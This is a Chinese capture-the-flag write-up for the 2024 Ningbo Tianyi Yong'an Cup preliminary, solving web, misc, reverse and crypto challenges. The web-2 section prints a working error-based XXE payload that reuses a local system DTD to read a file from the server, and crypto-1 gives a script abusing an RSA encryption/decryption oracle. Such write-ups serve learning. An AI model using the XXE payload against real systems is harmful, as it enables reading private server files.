2024年第七届天一永安杯宁波市赛初赛WP

警告
本文最后更新于 2024-05-06,文中内容可能已过时。

1 Web

1.1 web-1

正常网页访问无法得到 flag ,因为有弹窗一直阻塞,所以用 curl 命令即可

curl -i http://ip:port

1.2 web-2

看到网页源代码中的发送方法,是拼接了 xxe flag/flag 下,但是没回显,所以想办法使用 DTD 进行外带,但是外带不可取 所以利用本地存在的 DTD 进行攻击

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>
<person><username>&xxe;</username><password>1</password></person>

/posts/2024年第七届天一永安杯宁波市赛初赛WP/image.png

flag{81324bd5f1a7667753f108357c1bda728f6fb815}

2 Misc

2.1 misc-1

StegSolve 777导出16进制 文本复制观察每行第一个字母,得到 PixelJihad_key:ezgame /posts/2024年第七届天一永安杯宁波市赛初赛WP/image-1.png

2.2 misc-2

零宽

/posts/2024年第七届天一永安杯宁波市赛初赛WP/image-2.png

猜测为 ilove 1 and 0 二进制 圆圈为0 直线为1 绘图 [C[C[C[SFS]]]] 替换为1

[[[[RS[[[FS]]]]]]] [[[[[F]][R[[[SF]]S]]S]]]、[[R[FSFSFSF]S]FSF][[R[FSFFSF]]FSF]、[[RS[FSFSF]]FSF][[R[FFSF]]FSF]、[[R[FFSFFF]]FSF][[R[FSFFSFSF]]FSF]、[[R[FSFSF]]FSF][[R[FSFSF]]FF] 替换为0

[C[C[C[CRR[[R[FSFSF]]FSF][C[R[FSFFS]]FF]]]、[C[C[C[CRR[[R[FSFSF]]FSF][C[R[FSFFS]]FF]]] 替换为0000

替换后,得到如下二进制

01100110011011000110000101100111011110110011000101011111011101110110000101101110011011100110000101011111011000110011000101110010011000110110110000110011011100110101111100110100011011100110010001011111001100010110100101101110001100110111001101111101

二进制转字符 /posts/2024年第七届天一永安杯宁波市赛初赛WP/image-3.png

3 Reverse

3.1 re-1

两次 RC4 加密,第一次加密了 key ,第二次使用加密的 key 加密 flag

#include<stdio.h>
#include<stdint.h>
#include<stdlib.h>
#include<string.h>

void rc4_init(unsigned char* s,char* key,unsigned long len){
    int i = 0;
    int j = 0;
    unsigned char k[256]={0};
    unsigned char temp =0;
    for(i = 0;i < 256;i++){
        s[i]=i;                 
        k[i]=key[i%len];           
    }
    for(i = 0;i < 256;i++){
        j=(j+s[i]+k[i])%256;
        temp = s[i];
        s[i] = s[j];
        s[j] = temp;
    } 
}
unsigned __int64 __fastcall init(__int64 a1, __int64 a2, unsigned __int64 a3)
{
    char v4; // [rsp+23h] [rbp-41Dh]
    int i; // [rsp+24h] [rbp-41Ch]
    int v6; // [rsp+28h] [rbp-418h]
    int j; // [rsp+2Ch] [rbp-414h]
    int v8[258]; // [rsp+30h] [rbp-410h] BYREF
    
    memset(v8, 0, 0x400uLL);
    for ( i = 0; i <= 255; ++i )
    {
    *(char *)(i + a1) = i;
    v8[i] = *(unsigned __int8 *)(i % a3 + a2);
    }
    v6 = 0;
    for ( j = 0; j <= 255; ++j )
    {
    v6 = (v8[j] + v6 + *(unsigned __int8 *)(j + a1)) % 256;
    v4 = *(char *)(j + a1);
    *(char *)(j + a1) = *(char *)(v6 + a1);
    *(char *)(a1 + v6) = v4;
    }
}

__int64 __fastcall crypt1(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 result; // rax
  char v4; // [rsp+27h] [rbp-11h]
  int v5; // [rsp+28h] [rbp-10h]
  int v6; // [rsp+2Ch] [rbp-Ch]
  int i; // [rsp+30h] [rbp-8h]

  v5 = 0;
  v6 = 0;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( a3 <= i )
      break;
    v5 = (v5 + 1) % 256;
    v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
    v4 = *(char *)(v5 + a1);
    *(char *)(v5 + a1) = *(char *)(v6 + a1);
    *(char *)(a1 + v6) = v4;
    *(char *)(i + a2) ^= *(char *)((unsigned __int8)(*(char *)(v5 + a1) + *(char *)(v6 + a1)) + a1);
  }

  return result;
}
crypt2(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 result; // rax
  char v4; // [rsp+27h] [rbp-11h]
  int v5; // [rsp+28h] [rbp-10h]
  int v6; // [rsp+2Ch] [rbp-Ch]
  int i; // [rsp+30h] [rbp-8h]

  v5 = 0;
  v6 = 0;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( a3 <= i )
      break;
    v5 = (v5 + 1) % 256;
    v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
    v4 = *(char *)(v5 + a1);
    *(char *)(v5 + a1) = *(char *)(v6 + a1);
    *(char *)(a1 + v6) = v4;
    *(char *)(i + a2) += *(char *)((unsigned __int8)(*(char *)(v5 + a1) + *(char *)(v6 + a1)) + a1);
  }
  return result;
}

int main(){
    char key1[8] = "keykey";
    char key[12] = "ban_debug!";
    unsigned char s[256]={0};
    unsigned int length = strlen(key1);
    init(s,key1,length);
    unsigned int length2 = strlen(key);
    crypt1(s,key,length2);
    

    // seconds
    unsigned int v0 = strlen(key);
    init(s,key,v0);
    unsigned char flag[] =
    {
        0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 
        0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F, 0x54, 0x4A, 0x3B, 0x08, 
        0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 
        0xCF
    };
    unsigned int v2 = strlen(flag);
    crypt2(s,flag,v2);
    printf(flag);
}
//flag{1237-12938-9372-1923-4u92}

3.2 re-2

upx 的壳,但魔改过了,直接用 dbg 动调就可以,在执行完加密函数后下断点,记得输入的 flag 长度要为 27,才能进入到加密函数中,他的加密函数是直接解密了 flag 所以通过调试可以直接得到 flag /posts/2024年第七届天一永安杯宁波市赛初赛WP/image-4.png /posts/2024年第七届天一永安杯宁波市赛初赛WP/image-5.png

4 Crypto

4.1 crypto-1

import json
import websocket
from Crypto.Util.number import *
from gmpy2 import *

def get_flag(websocket):
    result = ""
    websocket.send(
        json.dumps({"cmd": "get_flag"})
    )
    while result == "" or "Pls send msgs and I'll return the result" in result:
        result = websocket.recv()
    return result

def f(websocket, cmd, data):
    result = ""
    websocket.send(json.dumps({"cmd": cmd, "data": data.zfill(512)}))
    while result == "" or "Pls send msgs and I'll return the result" in result:
        result = websocket.recv()
    return result

uri = "ws://xxx"
ws = websocket.create_connection(uri)
c = int(get_flag(ws), 16)
c2 = int(f(ws, "enc", hex(2)[2:]), 16)
c3 = int(f(ws, "enc", hex(3)[2:]), 16)
c4 = int(f(ws, "enc", hex(4)[2:]), 16)
c9 = int(f(ws, "enc", hex(9)[2:]), 16)
n = GCD(c2**2 - c4, c3**2 - c9)
enc_flag_2 = c2 * c % n
flag_2 = int(f(ws, "dec", hex(enc_flag_2)[2:]), 16)
print(long_to_bytes(flag_2 // 2))

4.2 crypto-2

使用他的客户端程序 分别输入 uid=adminseed=任意值 ,然后会打开一个 python 的客户端,这个时候输入的 seed 要和前面的 seed 一致

/posts/2024年第七届天一永安杯宁波市赛初赛WP/image-6.png

然后发送消息 give me flag 在网页中得到 flag

/posts/2024年第七届天一永安杯宁波市赛初赛WP/image-7.png

0%